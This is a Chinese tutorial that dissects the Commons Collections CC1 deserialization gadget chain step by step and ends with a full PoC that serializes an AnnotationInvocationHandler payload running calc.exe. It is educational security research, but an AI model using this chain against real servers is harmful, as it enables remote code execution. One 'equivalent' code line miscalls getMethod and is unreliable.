cc1链

漏洞起始点

关注该组件中InvokerTransformer类的transform方法,实现如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}

调用该方法时会传入一个对象,参数为空返回为空,不为空时就会先得到class对象,通过calsss对象的getMethod()方法得到Method实例,再通过该实例的invoke方法实现反射调用传入对象的方法,并且查看构造方法如下

1
2
3
4
5
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}

三个参数都是可控的,可以借助InvokerTransformer来执行命令

这里注意的是Runtime实例是不能被序列化的,只能通过服务端拿到Runtime的实例。

利用链

step1

由上分析我们知道能通过InvokerTransform类的transform函数反射调用任意类的任意方法,首先我们简单的构造一下调用exec方法实现命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import org.apache.commons.collections.functors.InvokerTransformer;


public class step1 {
public static void main(String[] args) throws Exception {
//通过InvokerTransformer构造方法实例化并传入构造的参数
InvokerTransformer a = new InvokerTransformer(
"exec",
new Class[]{String.class},
new String[]{"calc.exe"}
);
//构造input
Object input=Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
//调用触发函数
a.transform(input);
}
}

1

这里就需要思考如何去构造一个调用链能在服务端反序列化之后自动调用,也就是找到readobject复写点以及链。

step2

关注到ChainedTransformer类的transform函数

1
2
3
4
5
6
7
8
9
10
public class ChainedTransformer implements Transformer, Serializable {
static final long serialVersionUID = 3514945074733160196L;
private final Transformer[] iTransformers;
............
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}

transform方法遍历构造函数中的Transformer类型的数组,iTransformers是我们可控的。

现在我们可以通过调用ChainedTransformer类的transform方法传入InvokerTransformer对象最后遍历调用触发漏洞的点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;


public class step2 {
public static void main(String[] args) throws Exception {
//定义一个Transformer数组,数组里封装InvokerTransformer对象
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"})};
//构造input
Object input = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
//实例化一个ChainedTransform,传入我们构造的transform数组
ChainedTransformer ChainedTransform = new ChainedTransformer(transformers);
//调用ChainedTransformer中的transform方法
ChainedTransform.transform(input);
}
}

2

到这里input还是在外面,也就是runtime实例,需要我们自己构造。但是runtime是不支持反序列化的,这样我们就要找到一个利用类能在服务端实例化runtime。

step3

此时payload还是在外面,需要转换为transform类型,找到ConstantTransformer类

1
2
3
4
5
6
7
8
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}


public Object transform(Object input) {
return this.iConstant;
}

它的构造函数会写入这个变量,他的transform函数会返回这个变量。所以可以通过这个类

1
2
3
4
5
6
7
8
9
10
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
//由于InvokerTransformer的构造函数要求传入Class类型的参数类型,和Object类型的参数数值,所以封装一下,下面也一样
//上面传入Runtime.class,调用Runtime class的getRuntime方法(由于是一个静态方法,invoke调用静态方法,传入类即可)
new InvokerTransformer("getRuntime",new Class[]{},new Object[]{}),
//上面Runtime.getRuntime()得到了实例,作为这边的输入(invoke调用普通方法,需要传入类的实例)
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(null);

这里我们需要注意到input.getClass()这个方法使用上的一些区别:

  • 当input是一个类的实例对象时,获取到的是这个类
  • 当input是一个类时,获取到的是java.lang.Class

解决:
在哪个类中调用getMethod去获取方法,实际上是由invoke函数里面的的第一个参数obj决定的

下面invoke里面第一个参数obj为null,是因为反射机制调用getRuntime静态类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;


public class step3 {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
ChainedTransformer ChainedTransform = new ChainedTransformer(transformers);
ChainedTransform.transform(null);
}
}

3

上面代码等价于

1
((Runtime)Runtime.class.getMethod("getMethod",null).invoke(null,null)).exec("calc.exe");

step4

绑定和触发

Transform来执行命令需要绑定到Map上,抽象类AbstractMapDecorator是Apache Commons Collections提供的一个类,实现类有很多,比如LazyMap、TransformedMap等,这些类都有一个decorate()方法,用于将上述的Transformer实现类绑定到Map上,当对Map进行一些操作时,会自动触发Transformer实现类的tranform()方法,不同的Map类型有不同的触发规则。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;




public class step4 {


public static void main(String[] args) {


Transformer[] transformers = new Transformer[]{


new ConstantTransformer(Runtime.class),


new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),


new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),


new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})


};
ChainedTransformer ChainedTransform = new ChainedTransformer(transformers);
ChainedTransform.transform(null);
//创建Map并绑定transformer
Map innerMap = new HashMap();
innerMap.put("value","value");
Map outermap = TransformedMap.decorate(innerMap, null, ChainedTransform);
//触发漏洞
//2.1可以直接map添加新值,触发漏洞
//outermap.put("123", "123");
//2.2也可以获取map键值对,修改value,value为value,foobar,触发漏洞
Map.Entry onlyElement = (Map.Entry) outermap.entrySet().iterator().next();
onlyElement.setValue("foobar");
}

}

寻找可触发ChainedTransformer对象.transform()方法的途径。
只要调用decorate()函式,即可将键和值的变换函式Transformer
每当调用map的setValue方法时,setValue ==> checkSetValue ==> valueTransformer.transform(value)

4

目前需要Map.Entry去调用setValue(),然后找某处可以反序列化的地方能调用setValue()方法,需要找到某处重写了readObject()方法,找到AnnotationInvocationHandler类实现如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private static final long serialVersionUID = 6182022883658399397L;
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
private transient volatile Method[] memberMethods = null;


AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}

......
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
GetField var2 = var1.readFields();
Class var3 = (Class)var2.get("type", (Object)null);
Map var4 = (Map)var2.get("memberValues", (Object)null);
AnnotationType var5 = null;


try {
var5 = AnnotationType.getInstance(var3);
} catch (IllegalArgumentException var13) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}


Map var6 = var5.memberTypes();
LinkedHashMap var7 = new LinkedHashMap();


String var10;
Object var11;
for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
Entry var9 = (Entry)var8.next();
var10 = (String)var9.getKey();
var11 = null;
Class var12 = (Class)var6.get(var10);
if (var12 != null) {
var11 = var9.getValue();
if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
}
}
}


AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
}

该类类成员变量memberValues是Map类型,readObject()函数中对于我们传入构造函数的map进行遍历赋值,memberValues.entrySet()的每一项调用了setValue()方法,目的达到。

最后poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import java.io.*;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.*;import org.apache.commons.collections.map.TransformedMap;


public class Poc {


public static void main(String[] args) throws Exception {
Transformer[] transformers=new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[] {
String.class,Class[].class},new Object[] {
"getRuntime",null
}
),
new InvokerTransformer("invoke",new Class[] {
Object.class,Object[].class},new Object[] {
null,null
}
),
new InvokerTransformer("exec",new Class[] {
String.class},new Object[] {
"calc.exe"
}
)
};


ChainedTransformer chain= new ChainedTransformer(transformers);


Map innermap = new HashMap();
innermap.put("key", "value");
Map outmap = TransformedMap.decorate(innermap, null, chain);


Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Retention.class, outmap);


File f = new File("temp.bin");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
}
}

利用链如下

5

命令执行点。参数可控通过反射实现RCE,漏洞起始点
利用链。服务器能反序列化我们的payload并一层一层进行调用
readObject复写点。和外部相连接并且能和利用链相连接即传入的数据能够通过该函数能够执行我们的利用链,漏洞终点。

参考:https://xz.aliyun.com/t/7031(跟着这篇文章走的)